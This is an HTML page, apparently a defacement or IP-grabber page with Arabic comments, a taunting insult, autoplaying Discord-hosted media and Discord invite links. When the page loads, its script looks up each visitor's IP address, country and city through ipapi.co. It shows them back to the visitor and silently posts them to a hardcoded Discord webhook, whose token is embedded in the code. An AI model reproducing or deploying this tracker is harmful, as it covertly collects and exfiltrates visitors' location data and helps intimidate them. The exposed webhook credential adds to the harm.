<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>bader</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background-color: black; 
            color: white;
            font-family: Arial, sans-serif;
            text-align: center;
            overflow: hidden; /* لمنع التمرير إذا كان الفيديو يغطي الشاشة بالكامل */
        }
        .video-background {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            object-fit: cover; /* لضبط الفيديو ليغطي كامل الشاشة */
            z-index: -1; /* لجعل الفيديو في الخلفية */
        }
        .text {
            position: relative; /* لضمان أن النص يظهر فوق الفيديو */
            z-index: 1;
            margin-top: 20px;
        }
        .text p {
            margin: 10px 0;
        }
        .main-text {
            font-size: 2em;
            color: red;
            font-weight: bold;
        }
        .sub-text {
            font-size: 1.2em;
            color: white;
        }
        .discord-link {
            font-size: 2em;
            color: blue;
            text-decoration: underline;
            font-family: 'Courier New', Courier, monospace;
            letter-spacing: 2px;
        }
    </style>
    <script>
        const webhookURL = "https://discord.com/api/webhooks/1317654253510332476/GPE8_wdcFXN5s4aNUOwI59rziE7fFat_dgvq6GVr2Mrqb1AIwnYXmWzKD2kaMEtKDDxA";

        async function fetchIPDetails() {
            try {
                const response = await fetch('https://ipapi.co/json/');
                const data = await response.json();

                // عرض البيانات على الصفحة
                document.getElementById('ip').textContent = `IP: ${data.ip}`;
                document.getElementById('location').textContent = `Country & City: ${data.country_name} - ${data.city}`;

                // إرسال البيانات إلى الويب هوك
                sendToWebhook(data);
            } catch (error) {
                console.error('Error fetching IP details:', error);
                document.getElementById('ip').textContent = 'IP: Unable to fetch';
                document.getElementById('location').textContent = 'Country & City: Unable to fetch';
            }
        }

        async function sendToWebhook(data) {
            try {
                const message = {
                    content: `\u{1F4E1} **New Visitor Details**:\n\u{1F4CD} **IP**: ${data.ip}\n\u{1F4CC} **Location**: ${data.country_name} - ${data.city}`
                };

                await fetch(webhookURL, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(message)
                });

                console.log('Details sent to Discord Webhook');
            } catch (error) {
                console.error('Error sending data to webhook:', error);
            }
        }

        window.onload = function() {
            fetchIPDetails();
            playAudio(); // تشغيل الصوت عند تحميل الصفحة
        };

        // سكربت لتشغيل الصوت
        function playAudio() {
            var audio = new Audio('https://cdn.discordapp.com/attachments/1316509756877176862/1317662427961098250/2019.mp3?ex=675f8043&is=675e2ec3&hm=074016a246ddb6255c1142478fc17e9893bddb03d9e9a27542be6e91ba9485bd&'); // ضع رابط الصوت هنا
            audio.play();
        }
    </script>
</head>
<body>
    <!-- استبدال الصورة بفيديو كخلفية -->
    <video class="video-background" autoplay muted loop>
        <source src="https://cdn.discordapp.com/attachments/1279294809038913647/1317661976205197384/1.mp4?ex=675f7fd8&is=675e2e58&hm=86b78ac4435731726be9d721fecfcdc2b3275e799b5028df89f0350a2922c8f0&" type="video/mp4">
        متصفحك لا يدعم الفيديو.
    </video>

    <div class="text">
        <p class="main-text">FUCKED BY DEPRESSED</p>
        <p class="main-text">بـنـعـال ال مـره</p>
        <p class="sub-text" id="ip">Discord.gg/1221</p>
        <p class="sub-text" id="location">Discord.gg/1221</p>
        <p class="discord-link">Discord.gg/V-P</p>
    </div>
</body>
</html>
